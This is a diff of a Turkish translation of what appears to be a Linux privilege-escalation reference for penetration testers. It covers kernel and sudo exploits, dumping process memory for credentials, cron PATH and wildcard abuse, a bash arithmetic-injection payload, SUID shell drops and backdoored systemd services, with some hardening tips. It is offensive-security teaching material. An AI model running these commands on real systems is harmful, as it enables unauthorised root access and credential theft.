+Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
-O siteden tüm açık kernel sürümlerini çıkarmak için şunu yapabilirsiniz:
+O web sitesinden tüm zafiyetli kernel versiyonlarını çıkarmak için şunu yapabilirsiniz:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@@ -43,7 +43,7 @@ Kernel exploits aramak için yardımcı olabilecek araçlar şunlardır:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victimde çalıştırın, sadece kernel 2.x için exploits kontrol eder)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (hedefte çalıştırın, yalnızca kernel 2.x için exploit'leri kontrol eder)
Her zaman **kernel sürümünü Google'da arayın**, belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olursunuz.
@@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo sürümü
-Aşağıda yer alan güvenlik açığı bulunan sudo sürümlerine göre:
+Aşağıda görünen zafiyetli sudo sürümlerine dayanarak:
```bash
searchsploit sudo
```
-Bu grep'i kullanarak sudo sürümünün güvenlik açığına sahip olup olmadığını kontrol edebilirsiniz.
+Bu grep'i kullanarak sudo sürümünün zafiyetli olup olmadığını kontrol edebilirsiniz.
```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
@@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash
```
### Dmesg imza doğrulaması başarısız
-**smasher2 box of HTB**'yi, bu vuln'ün nasıl istismar edilebileceğine dair bir **örnek** için kontrol edin.
+Bu vuln'ün nasıl sömürülebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın
```bash
dmesg 2>/dev/null | grep "signature"
```
-### Daha fazla system enumeration
+### Daha fazla sistem keşfi
```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
-## Olası savunmaları listeleyin
+## Olası savunmaları listele
### AppArmor
```bash
@@ -132,69 +132,69 @@ docker-security/
## Sürücüler
-Neyin **mounted and unmounted** olduğunu, nerede ve neden olduğunu kontrol edin. Eğer bir şey unmounted ise, onu mount etmeyi deneyebilir ve gizli bilgileri kontrol edebilirsiniz
+Hangi şeylerin **what is mounted and unmounted** olduğunu, nerede ve nedenini kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
```
-## Yararlı yazılımlar
+## Faydalı yazılımlar
Kullanışlı ikili dosyaları listeleyin
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**. Bu, bazı kernel exploit'lerini kullanmanız gerekiyorsa faydalıdır; çünkü bunları kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir.
+Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, bazı kernel exploit'lerini kullanmanız gerekirse faydalıdır; çünkü bunu kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir.
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
-### Kurulu Zafiyetli Yazılımlar
+### Yüklü Zafiyetli Yazılımlar
-Kurulu paketlerin ve servislerin **sürümlerini** kontrol edin. Örneğin, ayrıcalık yükseltmek (escalating privileges) için istismar edilebilecek eski bir Nagios sürümü olabilir…\
-Daha şüpheli kurulu yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir.
+Yüklü paketlerin ve servislerin **sürümünü** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır ve bu, escalating privileges için istismar edilebilir…\
+Daha şüpheli görünen yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine.
-> [!NOTE] > _Bu komutların çoğunlukla gereksiz bilgiler göstereceğini unutmayın; bu nedenle yüklü herhangi bir yazılım sürümünün bilinen exploits için savunmasız olup olmadığını kontrol eden OpenVAS veya benzeri uygulamaların kullanılması önerilir_
+> [!NOTE] > _Bu komutların çoğunlukla işe yaramayan çok fazla bilgi göstereceğini unutmayın; bu nedenle, kurulu yazılım sürümlerinin bilinen exploitslere karşı zafiyetli olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaların kullanılması önerilir_
-## İşlemler
+## Processes
-Yürütülen **hangi işlemlerin** olduğunu inceleyin ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (örneğin tomcat root tarafından mı çalıştırılıyor?)
+Çalıştırılan **hangi süreçlerin** olduğunu inceleyin ve herhangi bir sürecin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (örneğin tomcat'ın root tarafından çalıştırılması mı?)
```bash
ps aux
ps -ef
top -n 1
```
Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
-Ayrıca süreçlerin binaryleri üzerindeki privileges'ınızı kontrol edin; belki birini overwrite edebilirsiniz.
+Ayrıca işlem ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin; belki birinin üzerine yazabilirsiniz.
-### Process monitoring
+### İşlem izleme
-Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında çalışan zafiyetli süreçleri tespit etmek için çok faydalı olabilir.
+İşlemleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sık çalıştırılan veya belirli gereksinimler karşılandığında yürütülen zafiyetli işlemleri tespit etmek için çok faydalı olabilir.
-### Process memory
+### İşlem belleği
-Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde düz metin olarak** kaydeder.\
-Normalde başka kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir; bu yüzden bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha kullanışlıdır.\
-Ancak unutmayın ki **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabilirsiniz**.
+Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde açık metin olarak saklar**.\
+Normalde diğer kullanıcılara ait işlemlerin belleğini okumak için **root ayrıcalıkları** gerekir; bu yüzden bu genellikle zaten root olduğunuzda daha fazla kimlik bilgisi keşfetmek için daha faydalıdır.\
+Ancak, unutmayın ki **normal bir kullanıcı olarak sahip olduğunuz işlemlerin belleğini okuyabilirsiniz**.
> [!WARNING]
-> Günümüzde çoğu makine varsayılan olarak **ptrace'e izin vermez**, bu da yetkisiz kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir.
+> Günümüzde çoğu makine **varsayılan olarak ptrace'e izin vermez**, bu da yetkisiz kullanıcınıza ait diğer işlemlerin dökümünü alamayacağınız anlamına gelir.
>
> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace:
>
-> - **kernel.yama.ptrace_scope = 0**: tüm süreçler aynı uid'ye sahip olduğu sürece debug edilebilir. Bu, ptracing'in klasik çalışma şeklidir.
-> - **kernel.yama.ptrace_scope = 1**: sadece bir ebeveyn süreç debug edilebilir.
-> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir; çünkü CAP_SYS_PTRACE yetkisi gereklidir.
-> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında ptrace'i tekrar etkinleştirmek için reboot gerekir.
+> - **kernel.yama.ptrace_scope = 0**: tüm işlemler, aynı uid'ye sahip oldukları sürece debuglanabilir. Bu, ptrace'in klasik çalışma şeklidir.
+> - **kernel.yama.ptrace_scope = 1**: sadece bir ebeveyn işlem debuglanabilir.
+> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir; bunun için CAP_SYS_PTRACE yetkisi gerekir.
+> - **kernel.yama.ptrace_scope = 3**: Hiçbir işlem ptrace ile izlenemez. Bir kere ayarlandığında ptrace'i yeniden etkinleştirmek için yeniden başlatma gerekir.
#### GDB
-Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i alıp içindeki kimlik bilgilerini arayabilirsiniz.
+Örneğin bir FTP servisine ait belleğe erişiminiz varsa Heap'i elde edip içindeki kimlik bilgilerini arayabilirsiniz.
```bash
gdb -p
(gdb) info proc mappings
@@ -203,7 +203,7 @@ gdb -p
(gdb) q
strings /tmp/mem_ftp #User and password
```
-#### GDB Betiği
+#### GDB Script
```bash:dump-memory.sh
#!/bin/bash
#./dump-memory.sh
@@ -216,7 +216,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Belirli bir işlem kimliği için, **maps** o işlemin sanal adres alanı içinde belleğin nasıl haritalandığını gösterir; ayrıca her bir haritalanmış bölgenin **izinlerini** gösterir. **mem** pseudo dosyası işlemin belleğinin kendisini açığa çıkarır. maps dosyasından hangi **bellek bölgelerinin okunabildiğini** ve bunların offsetlerini biliriz. Bu bilgiyi **mem dosyasında seek edip tüm okunabilir bölgeleri dump ederek** bir dosyaya kaydetmek için kullanırız.
+Belirli bir process ID için, **maps bu sürecin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenen bölgenin permissions**'ını gösterir. **mem** pseudo dosyası **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve offsetlerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri dump etmek** için kullanırız.
```bash
procdump()
(
@@ -231,12 +231,12 @@ rm $1*.bin
```
#### /dev/mem
-`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\
-Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubunca okunabilir.
+`/dev/mem`, sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Kernel'in sanal adres alanına /dev/kmem üzerinden erişilebilir.\
+Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabilir.
```
strings /dev/mem -n10 | grep -i PASS
```
-### linux için ProcDump
+### ProcDump için linux
ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının linux için yeniden tasarlanmış halidir. Şuradan edinebilirsiniz: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
@@ -267,38 +267,38 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Araçlar
-Bir işlemin belleğini dökmek için şunları kullanabilirsiniz:
+Bir işlemin belleğini dökmek için şu araçları kullanabilirsiniz:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz
-- Script A.5 - [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir)
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz
+- Script A.5 şu adresten: [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir)
### İşlem Belleğinden Kimlik Bilgileri
#### Manuel örnek
-authenticator işlemi çalışıyorsa:
+Eğer authenticator işlemi çalışıyorsa:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-İşlemi dump edebilirsiniz (bir sürecin memory'sini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve memory içinde kimlik bilgilerini arayabilirsiniz:
+Process'i dump edebilirsiniz (önceki bölümlere bakın; bir sürecin memory'sini dump etmenin farklı yolları anlatılıyor) ve memory içinde credentials arayın:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
-Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) bellekten **düz metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** çalacaktır. Doğru çalışması için root ayrıcalıkları gerektirir.
+Araç [**https://github.com/huntergregal/mimipenguin**] bellekten **açık metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** çalar. Doğru çalışması için root ayrıcalıkları gerektirir.
-| Özellik | Süreç Adı |
+| Özellik | İşlem Adı |
| ------------------------------------------------- | -------------------- |
-| GDM parolası (Kali Desktop, Debian Desktop) | gdm-password |
+| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
-| VSFTPd (Aktif FTP Bağlantıları) | vsftpd |
-| Apache2 (Aktif HTTP Basic Auth Oturumları) | apache2 |
-| OpenSSH (Aktif SSH Oturumları - Sudo Kullanımı) | sshd: |
+| VSFTPd (Active FTP Connections) | vsftpd |
+| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
+| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
#### Arama Regexleri/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -316,39 +316,37 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Zamanlanmış/Cron işleri
-### Crontab UI (alseambusher) running as root – web tabanlı scheduler privesc
+### Crontab UI (alseambusher) running as root – web-based scheduler privesc
-Eğer bir web “Crontab UI” paneli (alseambusher/crontab-ui) root olarak çalışıyor ve yalnızca loopback'e bağlıysa, yine de SSH local port-forwarding ile ona ulaşabilir ve ayrıcalıklı bir yükseltme için görev oluşturabilirsiniz.
+Eğer bir web “Crontab UI” paneli (alseambusher/crontab-ui) root olarak çalışıyor ve yalnızca loopback'e bağlıysa, yine de SSH local port-forwarding ile ona erişebilir ve yükselmek için ayrıcalıklı bir job oluşturabilirsiniz.
Tipik zincir
-- Loopback'a özel portu keşfedin (ör. 127.0.0.1:8000 gibi) ve Basic-Auth realm'ini `ss -ntlp` / `curl -v localhost:8000` ile tespit edin
-- Kimlik bilgilerini operasyonel artefaktlarda bulun:
- - `zip -P ` içeren yedekler/scriptler
- - systemd unit içinde `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
-- Tünel kurup giriş yap:
+- Sadece loopback'e açık portu keşfet (ör., 127.0.0.1:8000) ve Basic-Auth realm'ini `ss -ntlp` / `curl -v localhost:8000` ile tespit et
+- Kimlik bilgilerini operasyonel artefaktlarda bul:
+ - Yedekler/scriptler (`zip -P `)
+ - systemd unit'ında `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` gibi değerler bulunabilir
+- Tünelleme ve giriş:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
-- Yüksek ayrıcalıklı bir job oluştur ve hemen çalıştır (SUID shell düşürür):
+- High-priv job oluşturun ve hemen çalıştırın (SUID shell bırakır):
```bash
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
```
-- Bunu kullan:
+- Kullan:
```bash
/tmp/rootshell -p # root shell
```
-Hardening
-- Crontab UI'yi root olarak çalıştırmayın; ayrı bir kullanıcı ile asgari izinler vererek kısıtlayın
-- localhost'a bağlayın ve ek olarak erişimi firewall/VPN ile kısıtlayın; parolaları yeniden kullanmayın
-- unit dosyalarına secret gömmekten kaçının; secret store'lar veya sadece root'a ait EnvironmentFile kullanın
-- İstek üzerine çalıştırılan job'lar için audit/logging'i etkinleştirin
+Güçlendirme
+- Crontab UI'yi root olarak çalıştırmayın; dedicated user ve minimal permissions ile sınırlandırın
+- localhost'a bind edin ve ayrıca erişimi firewall/VPN ile kısıtlayın; şifreleri tekrar kullanmayın
+- Unit dosyalarına secrets gömmekten kaçının; secret store'lar veya root-only EnvironmentFile kullanın
+- on-demand job executions için audit/logging etkinleştirin
-
-
-Herhangi bir zamanlanmış görevin zafiyeti olup olmadığını kontrol edin. Belki root tarafından çalıştırılan bir scriptten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?).
+Herhangi bir scheduled job'ın vulnerable olup olmadığını kontrol edin. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -356,24 +354,25 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
```
### Cron path
-Örneğin, _/etc/crontab_ içinde PATH şu şekilde bulunur: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
+Örneğin, _/etc/crontab_ içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_Kullanıcı "user"ın /home/user üzerinde yazma ayrıcalıklarına sahip olduğuna dikkat edin_)
-Bu crontab içinde root kullanıcısı PATH ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\\
-Böylece, şu şekilde root shell elde edebilirsiniz:
+Eğer bu crontab içinde root kullanıcısı PATH ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\
+
+Bu durumda, aşağıdakini kullanarak root shell elde edebilirsiniz:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
-### Cron ile betik içinde wildcard kullanımı (Wildcard Injection)
+### Joker karakter içeren bir script kullanan Cron (Wildcard Injection)
-Eğer root tarafından çalıştırılan bir betikte bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için sömürebilirsiniz. Örnek:
+Bir script root tarafından çalıştırılıyor ve bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için exploit edebilirsiniz. Örnek:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**Eğer wildcard şu tür bir yolun önünde bulunuyorsa** _**/some/path/\***_ **, bu zafiyetli değildir (hatta** _**./\***_ **de değildir).**
+**Eğer wildcard bir yolun önünde bulunuyorsa, örneğin** _**/some/path/\***_ **, bu açık değildir (hatta** _**./\***_ **da değildir).**
Daha fazla wildcard exploitation tricks için aşağıdaki sayfayı okuyun:
@@ -385,11 +384,11 @@ wildcards-spare-tricks.md
### Bash arithmetic expansion injection in cron log parsers
-Bash, ((...)), $((...)) ve let içinde arithmetic evaluation'dan önce parameter expansion ve command substitution gerçekleştirir. Eğer bir root cron/parser, güvensiz log alanlarını okuyup bunları bir arithmetic context'e gönderiyorsa, bir saldırgan cron çalıştığında root olarak çalışacak bir command substitution $(...) enjekte edebilir.
+Bash, ((...)), $((...)) ve let içinde aritmetik değerlendirmeden önce parametre genişletmesi ve komut ikamesi uygular. Eğer root olarak çalışan bir cron/parser güvensiz log alanlarını okur ve bunları aritmetik bağlama beslerse, bir saldırgan cron çalıştığında root olarak çalışacak bir komut ikamesi $(...) enjekte edebilir.
-- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, ardından word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalışır), kalan sayısal `0` ise aritmetik için kullanılır ve script hata olmadan devam eder.
+- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parametre/değişken genişletmesi, komut ikamesi, aritmetik genişletme, sonra word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce ikame edilir (komut çalışır), sonra kalan sayısal `0` aritmetikte kullanılır ve script hatasız devam eder.
-- Tipik zayıf desen:
+- Tipik savunmasız örnek:
```bash
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
@@ -399,7 +398,7 @@ while IFS=',' read -r ts user count rest; do
done < /var/www/app/log/application.log
```
-- Exploitation: Ayrıştırılan loga saldırgan tarafından kontrol edilen metin yazdırın, böylece sayıya benzeyen alan bir command substitution içerir ve bir rakamla biter. Komutunuzun stdout'a yazdırmadığından emin olun (veya yönlendirin) ki aritmetik geçerli kalsın.
+- İstismar: Ayrıştırılan log'a saldırgan tarafından kontrol edilen metin yazdırın, böylece sayısal görünümlü alan bir komut ikamesi içerir ve bir rakamla biter. Komutunuzun stdout'a yazmadığından emin olun (ya da yönlendirin) ki aritmetik geçerli kalsın.
```bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
@@ -408,21 +407,21 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
### Cron script overwriting and symlink
-If you **can modify a cron script** executed by root, you can get a shell very easily:
+Eğer root tarafından çalıştırılan bir cron betiğini **değiştirebiliyorsanız**, çok kolay bir şekilde shell elde edebilirsiniz:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Eğer root tarafından çalıştırılan script, **tam erişiminiz olan bir dizin** kullanıyorsa, o dizini silmek ve kontrolünüzdeki bir scripti sağlayan başka bir dizine **symlink oluşturmak** faydalı olabilir.
+Eğer root tarafından çalıştırılan script **tam erişiminizin olduğu bir dizin** kullanıyorsa, o klasörü silip sizin kontrolünüzde bir script sunan başka bir dizine **symlink klasörü oluşturmak** faydalı olabilir.
```bash
ln -d -s
```
-### Sık cron görevleri
+### Sık cron jobs
-Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri arayabilirsiniz. Belki bundan faydalanıp ayrıcalıkları yükseltebilirsiniz.
+Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan process'leri tespit edebilirsiniz. Belki bundan faydalanıp privilege escalation gerçekleştirebilirsiniz.
-Örneğin, **1 dakika boyunca her 0.1s'de izle**, **daha az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şu şekilde yapabilirsiniz:
+Örneğin, **1 dakika boyunca her 0.1s'de izlemek**, **daha az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@@ -430,7 +429,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Görünmez cron jobs
-Bir cronjob oluşturmak mümkündür **yorumdan sonra bir carriage return koyarak** (yeni satır karakteri olmadan) ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat):
+Bir cronjob oluşturmak mümkündür: bir yorumdan sonra **putting a carriage return after a comment** (yeni satır karakteri olmadan) koyarsanız cron job çalışır. Örnek (carriage return char'ına dikkat):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@@ -438,32 +437,32 @@ Bir cronjob oluşturmak mümkündür **yorumdan sonra bir carriage return koyara
### Yazılabilir _.service_ dosyaları
-Herhangi bir `.service` dosyasına yazıp yazamadığınızı kontrol edin; yazabiliyorsanız, bunu **değiştirerek** servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (makinenin yeniden başlatılmasını beklemeniz gerekebilir).
-Örneğin .service dosyasının içine backdoor'unuzu **`ExecStart=/tmp/script.sh`** olarak koyabilirsiniz.
+Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin, yazabiliyorsanız, bunu **değiştirip** servisin **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** sizin **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekebilir).\
+Örneğin .service dosyasının içine backdoor'unuzu şu şekilde oluşturun: **`ExecStart=/tmp/script.sh`**
### Yazılabilir servis ikili dosyaları
-Unutmayın ki eğer **servisler tarafından çalıştırılan ikili dosyalar üzerinde yazma izinleriniz** varsa, bunları backdoor koyacak şekilde değiştirebilir ve servisler yeniden çalıştırıldığında backdoor'lar da çalışır.
+Unutmayın ki eğer **servisler tarafından çalıştırılan ikili dosyalar üzerinde yazma iznine** sahipseniz, bunları backdoor'lar için değiştirebilirsiniz; böylece servisler tekrar çalıştırıldığında backdoor'lar da çalıştırılacaktır.
### systemd PATH - Göreli Yollar
-systemd tarafından kullanılan PATH'i şu komutla görebilirsiniz:
+**systemd** tarafından kullanılan PATH'i şu komutla görebilirsiniz:
```bash
systemctl show-environment
```
-Yolun herhangi bir klasörüne **write** yapabildiğinizi fark ederseniz, muhtemelen **escalate privileges** yapabilirsiniz. Aşağıdaki gibi service configuration dosyalarında kullanılan **relative paths being used on service configurations** için arama yapmanız gerekir:
+Eğer yolun herhangi bir klasörüne **write** yazabiliyorsanız, **escalate privileges** mümkün olabilir. Servis yapılandırma dosyalarında kullanılan **göreli yolları** şu tür dosyalarda aramalısınız:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-Sonra, yazma izniniz olan systemd PATH klasörünün içine, **same name as the relative path binary** ile aynı ada sahip bir **executable** oluşturun; servisten zafiyetli eylemi (**Start**, **Stop**, **Reload**) çalıştırması istendiğinde, sizin **backdoor**'ınız çalıştırılacaktır (Ayrıcalıksız kullanıcılar genellikle servisleri başlatıp/durduramazlar, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin).
+Daha sonra, yazma izniniz olan systemd PATH klasörü içine, göreli yol binary'siyle aynı ada sahip bir **executable** oluşturun; servis zafiyetli eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (yetkisiz kullanıcılar genellikle servisleri start/stop yapamazlar ama `sudo -l` kullanıp kullanamadığınızı kontrol edin).
-**Hizmetler hakkında daha fazla bilgi için `man systemd.service` komutuna bakın.**
+**Servisler hakkında daha fazla bilgi için `man systemd.service` komutunu kullanın.**
## **Zamanlayıcılar**
-**Zamanlayıcılar** systemd birim dosyalarıdır; adları `**.timer**` ile biter ve `**.service**` dosyalarını veya olayları kontrol eder. **Zamanlayıcılar**, takvim zaman olayları ve monotonik zaman olayları için yerleşik desteğe sahip olduklarından cron'a bir alternatif olarak kullanılabilir ve eşzamansız çalıştırılabilir.
+**Zamanlayıcılar** systemd unit dosyalarıdır; adları `**.timer**` ile biten ve `**.service**` dosyalarını veya olayları kontrol eden birimlerdir. **Zamanlayıcılar**, takvim zamanlı olaylar ve monotonik zaman olayları için yerleşik destek sundukları ve eşzamansız çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir.
Tüm zamanlayıcıları şu komutla listeleyebilirsiniz:
```bash
@@ -471,54 +470,54 @@ systemctl list-timers --all
```
### Yazılabilir zamanlayıcılar
-Eğer bir zamanlayıcıyı değiştirebilirseniz, systemd.unit içindeki bazı mevcut öğeleri (örneğin `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz.
